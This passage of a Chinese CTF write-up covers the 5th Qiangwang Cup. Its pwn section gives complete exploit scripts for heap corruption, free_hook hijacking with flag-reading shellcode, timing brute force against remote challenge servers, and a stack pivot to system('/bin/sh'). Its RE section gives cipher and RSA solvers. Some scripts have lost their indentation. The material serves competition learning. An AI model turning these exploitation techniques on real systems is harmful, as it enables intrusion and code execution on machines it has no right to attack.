    d2 = d1^a1
    d3 = d2>>17
    d4 = ((d2 ^ d3) << 13)&0xffffffff
    a1 ^= d1 ^ d3 ^ d4
    return hex(a1)[2:]
 
def decode_1(a):
    log.progress("decode_1")
    for i in range(0x0, 0xff):
        head = chr(i)+"\x7f\x00\x00"
        if encode(u32(head))==str(a, encoding='utf-8'):
            success("ok~ decode_1")
            return head
 
def decode_2(a):
    log.progress("decode_2")
    for i1 in range(0x0, 0xff):
        for i2 in range(0, 0xff):
            for i3 in range(2, 0xff, 0x10):
                last = "\x10"+chr(i3)+chr(i2)+chr(i1)
                if encode(u32(last)) ==str(a, encoding='utf-8'):
                    success("ok~ decode_2")
                    return last
 
# off by null; overlaping 堆块向前合并
add(0xf8)                       #0
for i in range(7):              #1-7
    add(0xf8)
 
add(0x108)                      #8
add(0x108)                      #9
for i in range(1,8):            #1-7
    free(i)
free(0)
 
edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"\x00"*0xf8+p64(0x11))
free(9)
 
for i in range(7):  # 0-6
    add(0xf8)
add(0x200) # idx_7  have idx_0-1
 
show(7)
a2 = sh.recv(8)
sh.recvuntil("\n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
 
free(5)
free(6)
payload = flat([
    "\x00"*0xf8,
    p64(0x101)+p64(free_hook-8)
])
edit(7, payload)
 
add(0xf8)
add(0xf8)
shellcode = """
    push 1
    dec byte ptr [rsp]
    mov rax, 0x7478742e67616c66
    push rax
    /* call open('rsp', 'O_RDONLY', 0) */
    push 2 /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    cdq /* rdx=0 */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
"""
payload2 = flat(["/bin/sh\x00", 
    p64(setcontext + 53), 
    p64(free_hook + 0x10), 
    asm(shellcode)
])
 
edit(6, payload2)
 
frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)
 
sh.interactive()

第五届强网杯全国网络安全挑战赛writeup第110张

5.[强网先锋]shellcode

写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

https://www.codenong.com/cs105236336/

https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/

参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

EXP

# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

file = context.binary = './shellcode'
obj = AE64()

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax

/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall


'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
/*pop rcx*/
pop r10

push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''

shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append

sc = obj.encode(asm(shellcode),'rbx')
#p=process(file)

# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()

# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()


def pwn(p, index, ch):
#gdb.attach(p,"b *0x40026D")
#pause()
p.send(sc)

shellcode=''
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))
#print p.recv()
#p.interactive()
index = 0
a = []

while True:
for ch in range(20, 127):
p = remote('39.105.137.118','50050')
# p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1

print("".join([chr(i) for i in a]))


6.no output(栈迁移):

你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~

检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?

然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错

说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了

exp如下:

#!/usr/bin/env python

# coding=utf-8

from pwn import *

#sh=process('./test')

#sh=remote('39.105.138.97',1234)

elf=ELF("./test")

libc=elf.libc

context.log_level='debug'

context.arch='i386'

leave_ret=0x80491a5

ret_addr=0x0804900e

read_100_addr=0x08049236

def pwn():

    sh.sendline('\x00'*1)

    print str(proc.pidof(sh))

    #gdb.attach(sh, '''b *0x080492a8''')

    payload=p8(0)*2

    #pause()

    sh.sendline(payload)

    sleep(1)

    sh.sendline(str(-2147483648))

    sh.sendline(str(-1))

 payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)

    payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)

    sh.sendline(payload1)

    #pause()

    sh.sendline(payload2)

    #pause()

    sh.send(p16(0x4c90)) 

    read_addr=u32(sh.recv())

    log.success("read addr: "+hex(read_addr))

    libc.address=read_addr-libc.sym['read']

    log.success("system addr: "+hex(libc.sym['system']))

    libc_base=read_addr-libc.sym['read']

    sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))

    sh.interactive()


while True:

    #sh=process('./test')

    sh=remote('39.105.138.97',1234)

    try:

        pwn()

    except:

        sh.close()



7.pipeline

libc2.31

堆溢出

配合对风水直接修改pipe->data, 实现任意地址修改,

漏洞主要是写入data的时候v1是有符号16位,

第五届强网杯全国网络安全挑战赛writeup第111张

后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,

第五届强网杯全国网络安全挑战赛writeup第112张

这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写

from pwn import *
context.log_level = 
'debug'
context.terminal = [
"tmux","new-window"]
p = remote(
"59.110.173.239", 239)
#p = process("./pipeline"l)
libc = ELF(
"./libc-2.31.so")
def new():
    p.recvuntil(
">> ")
    p.sendline(
"1")
def edit(index, size):
    p.recvuntil(
">> ")
    p.sendline(
"2")
    p.recvuntil(
"index: ")
    p.sendline(str(index))
    p.recvuntil(
"offset: ")
    p.sendline(str(0))
    p.recvuntil(
"size: ")
    p.sendline(str(size))
def destroy(index):
    p.recvuntil(
">> ")
    p.sendline(
"3")
    p.recvuntil(
"index: ")
    p.sendline(str(index))
def append(index, size, data):
    p.recvuntil(
">> ")
    p.sendline(
"4")
    p.recvuntil(
"index: ")
    p.sendline(str(index))
    p.recvuntil(
"size: ")
    p.sendline(str(size))
    p.recvuntil(
"data: ")
    p.sendline(data)
def show(index):
    p.recvuntil(
">> ")
    p.sendline(
"5")
    p.recvuntil(
"index: ")
    p.sendline(str(index))
    p.recvuntil(
"data: ")

new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)

edit(1,0x68)


edit(0,0x450)
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
#leak libc
libc_base = u64(p.recv(6).ljust(8,b
"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400
#getshell
new()
payload = b
'b'*0x18 + p64(0x21)
payload += p64(libc_base + libc.symbols[
"__free_hook"])
payload += p32(0) + p32(0x100)
append(0, 0x80000100, payload)

#gdb.attach(p)
append(3, 0x20, p64(libc_base + libc.symbols[
"system"]))
append(0, 0x20, 
'/bin/sh\x00')
edit(0,0)
log.info(
"libc_base------------------>"+hex(libc_base))
p.interactive()

第五届强网杯全国网络安全挑战赛writeup第113张

RE

附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo

1.ezmath

奇怪的思路,但也算是出了flag。
第五届强网杯全国网络安全挑战赛writeup第114张

bdl_4020是一个double数组,内容是19个小数。
sub_13F3函数如图:
第五届强网杯全国网络安全挑战赛writeup第115张

v3的初值是0.2021,但是在运行过程中修改成了0.000483
v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_na 
n+1
 =e−n×a 
n

用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。

>>> v3 = [0.000483]
>>> for i in range(0x2021,0x2021+100):
    v3.append(math.e-i*v3[-1])

    
>>> v3[-20:]
[-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]
v3是不收敛的,更不用说令v3等于double数组中的小数值。
多种尝试无果,于是尝试让a n 强行收敛试试,也就是令
第五届强网杯全国网络安全挑战赛writeup第116张

第五届强网杯全国网络安全挑战赛writeup第117张

化简得:
第五届强网杯全国网络安全挑战赛writeup第118张

很奇怪但大家懂这意思就行

观察double数组中的值,e i \frac{e}{i} 
i
e
 的值都接近整数
>>> [math.e/i for i in dbl]
[27751.99996396786, 26466.999962218535,29564.999966177365,
24930.99995989091,24430.999959070075, 26981.999962939633, 
24430.999959070075, 25960.999961482154, 24426.999959063374, 
25965.99996148958, 24426.999959063374, 24939.999959905384,
24430.999959070075, 24932.99995989413, 24418.999959049965, 
26996.999962960217, 24431.999959071745, 24941.999959908593,
32098.999968847354]
可以初步判断是正确的
于是把 第五届强网杯全国网络安全挑战赛writeup第119张的值作为flag内容
代码如下
from math import *
a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\
     0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\
     0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\
     0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\
     0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\
     0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\
     0.00008468431512187874]
aa = [round(e/i) for i in a]

def f(n):
    b = bin(n)[2:].zfill(16)
    return chr(int(b[8:],2))+chr(int(b[:8],2))
    #是后半段+前半段,要反过来
print(''.join(f(i) for i in aa))

#===============输出========================
#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}
很明显有flag的形式了,但是需要调整。
前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。
于是修改函数的返回值

def f(n):
    b = bin(n)[2:].zfill(16)
    return chr(int(b[8:],2)-2)+chr(int(b[:8],2))
   #这里减2
得到输出
flag{saam_dim_gei_lei_jam_caa_sin_laa}
import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
div = 2.718281828459045
def c(n):
t_int = int(div // n)
print(hex(t_int))
if abs(t_int * n - div) < abs((t_int - 1) * n - div):
t_int -=1
t_hex = hex(t_int)[2:]
t_chr = codecs.decode(t_hex,'hex')
return t_chr[::-1].decode()

for i in t:
print(c(i),end='n')

2.LongTimeAgo

def xt_dec(num, enc, k):
value0 = enc[0]
value1 = enc[1]
data = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])
value1 &= 0xffffffff
sum += data
value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])
value0 &= 0xffffffff
return (value0, value1)
def t_dec(enc, k):
value0 = enc[0]
value1 = enc[1]
sum = 0xa6a53780
data = 0x3D3529BC
for i in range(32):
value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])
value1 &= 0xffffffff
value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])
value0 &= 0xffffffff
sum -= data
return (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
encode[i] ^= 0xfd
encode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):
encode[i] ^= 0x3fd
encode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):
a = xt_dec(32, encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):
a = t_dec(encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")

3.StandOnTheGiants

题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:

  v3 = env;
  v4 = 0;
  v20 = a3;
  v5 = (*env)->GetStringUTFChars(env, a3, 0);
  v6 = strlen(v5);
  v8 = malloc(2 * v6 + 4);
  v9 = v8;
  while ( v6 != v4 )
  {
    hex_byte_52318(v9, -1, v7, v5[v4]);
    v9 += 2;
    ++v4;
  }
  ctx = BN_CTX_new_5235C();
  BN_CTX_start_5249C(ctx);
  bn_m = BN_CTX_get_5264C(ctx);
  BN_set_5BB08(&bn_m, v8);
  free(v8);
  bn_N = BN_CTX_get_5264C(ctx);
  bn_e = BN_CTX_get_5264C(ctx);
  _aeabi_memcpy8(temp, byte_2C6B0, 0xD1);
  for ( i = 0; i != 0xD1; ++i )
    temp[i] ^= 0x3Du;
  BN_set_5BB08(&bn_N, temp);
  _aeabi_memclr8(temp, 209);
  v12 = 0;
  v21 = 0;
  v22 = 0;
  while ( v12 != 6 )
    *(&v21 + v12++) ^= 0x30u;
  ++BYTE1(v21);
  ++BYTE1(v22);
  BN_set_5BB08(&bn_e, &v21);
  v21 = 0;
  v22 = 0;
  bn_c = BN_CTX_get_5264C(ctx);
  BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);
  v14 = sub_565A8(bn_c);
  v15 = malloc((v14 + 7) / 8);
  v16 = sub_56EB8(bn_c, v15);
  BN_CTX_end_525B8(ctx);
  BN_CTX_free_523E8(ctx);
  v17 = calloc(3u, v16);
  base64_52044(v15, v17, v16, 0);
  free(v15);
  v18 = strcmp(
          "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
          "+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
          v17);
  free(v17);
  (*v3)->ReleaseStringUTFChars(v3, v20, v5);
  result = _stack_chk_guard;
  if ( _stack_chk_guard == v27 )
    result = v18;
  return result;

静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:

# -*- coding:utf-8 -*-
import base64
import gmpy2
import string,itertools

t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'
t2 = string.uppercase+string.lowercase+string.digits+'+/'
def main():
#    a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, 
#          0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, 
#          0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, 
#          0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, 
#          0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, 
#          0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, 
#          0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, 
#          0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, 
#          0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, 
#          0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, 
#          0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, 
#          0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, 
#          0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, 
#          0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, 
#          0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, 
#          0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, 
#          0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, 
#          0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, 
#          0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, 
#          0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, 
#          0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]
#    b = map(lambda x:chr(x^0x3d),a)
#    print(''.join(b))
    n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
    p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
    q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
    assert(n==p*q)
    e = 0x10001
    s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
    t = string.maketrans(t1,t2)
    ite1 = itertools.product('+1',repeat=10)
    
    idx1 = [6,25,26,45,77,110,123,126,130,133]
    idx2 = [22,43,59,74]
    for it1 in ite1:
        ite2 = itertools.product('-2',repeat=4)
        for it2 in ite2:
            l = list(s)
            for i in range(10):
                l[idx1[i]] = it1[i]
            for i in range(4):
                l[idx2[i]] = it2[i]
            c = string.translate(''.join(l),t)
            d = gmpy2.invert(e,(p-1)*(q-1))
            tmp = base64.b64decode(c).encode('hex')
            tmp = int(tmp,16)
            m = gmpy2.powmod(tmp,d,n)
            tmp = hex(m)[2:].replace('L','')
            if len(tmp) % 2 != 0:
                tmp = '0'+tmp
            if len(hex(m)) < 100:
                print(c,hex(m)[2:].replace('L','').decode('hex'))
                exit()

if __name__ == '__main__':
    main()


参考文献:

https://www.anquanke.com/post/id/244824#h3-13

https://blog.csdn.net/weixin_39190897/article/details/118066125


免责声明:文章转载自《第五届强网杯全国网络安全挑战赛writeup》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇分享一个博客园皮肤制作脚手架python3.8 安装scrapy及其使用 ,爬取糗事百科小案例下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

随便看看

vue之文本渲染

以前,我们一直使用{{}}的形式来呈现文本,但除了此方法之外,vue还提供了其他几种常见的文本呈现方法:v-text:更新元素的innerTextv html:更新元素一次的innerHTMLv:静态插值v-pre:以原始格式输出v-cooke:保留元素上的指令,直到相关实例完成编译˂!幸运的是,Vue还提供了v-text和v-html来呈现文本或元素。...

C# 如何提取SaveFileDialog的保存路径

直接使用代码1publicTestOne()2{3InitializeComponent();4SaveFileDialog();//调用打开SaveFileDialog保存对话框5}67#区域保存对话框8privateevoidSaveFileDialog()9{10//startlocalFilePath,fileNameExt,newFileName,...

CorelDRAW 编写和运行宏指令

在开发和运行CorelDRAW宏之前,必须安装VBA组件。在CoerlDRAW11和12中安装CorelDRAWVBAVBA是典型安装的一部分。2如果安装开始,请单击安装CorelDRAW12 Graphics Suite。CorelDRAWVBA工具栏CorelDRaw工具栏提供了几个快速的VBA函数和对VB编辑器的访问。但是,您可以通过在CorelDRA...

QT学习之如何在QToolBar中添加带图标的QToolButton并设置图标大小

在网上查到了三种方法,找到一种比较好理解的。图标存放位置可在工程文件夹里创建自命名的文件夹如"res",再在根目录下创建qrc文件,如图:然后我们需要对qrc文件进行编辑:res/1.pngres/2.pngres/3.pngres/4.pngres/5.pngres/6.pngres/7.png这里的"res"是自己命名的存放图标的目录。接着我们需要在项目...

Navicat数据存放位置和备份数据库路径设置

navicat数据库存储在哪里?有了这样的问题,让我们来解决这个问题。默认情况下安装Navicat,默认情况下也安装MySQL,数据库存储在默认用户的目录中。选择安装目录时,还可以选择数据的位置。很多人此时只是设置了MySQL的安装位置。...

Windows系统下MySQL添加到系统服务方法(mysql解压版)

您可能感兴趣的文章:Windows7中配置安装MySQL5.6解压缩版windows下安装、卸载mysql服务的方法Mysql5.7.11在windows10上的安装与配置(解压版)在Windows10上安装解压缩版MySql(推荐)Windows安装MySQL5.7.18解压版的教程windowsserver2016安装MySQL5.7.19解压缩版教程详...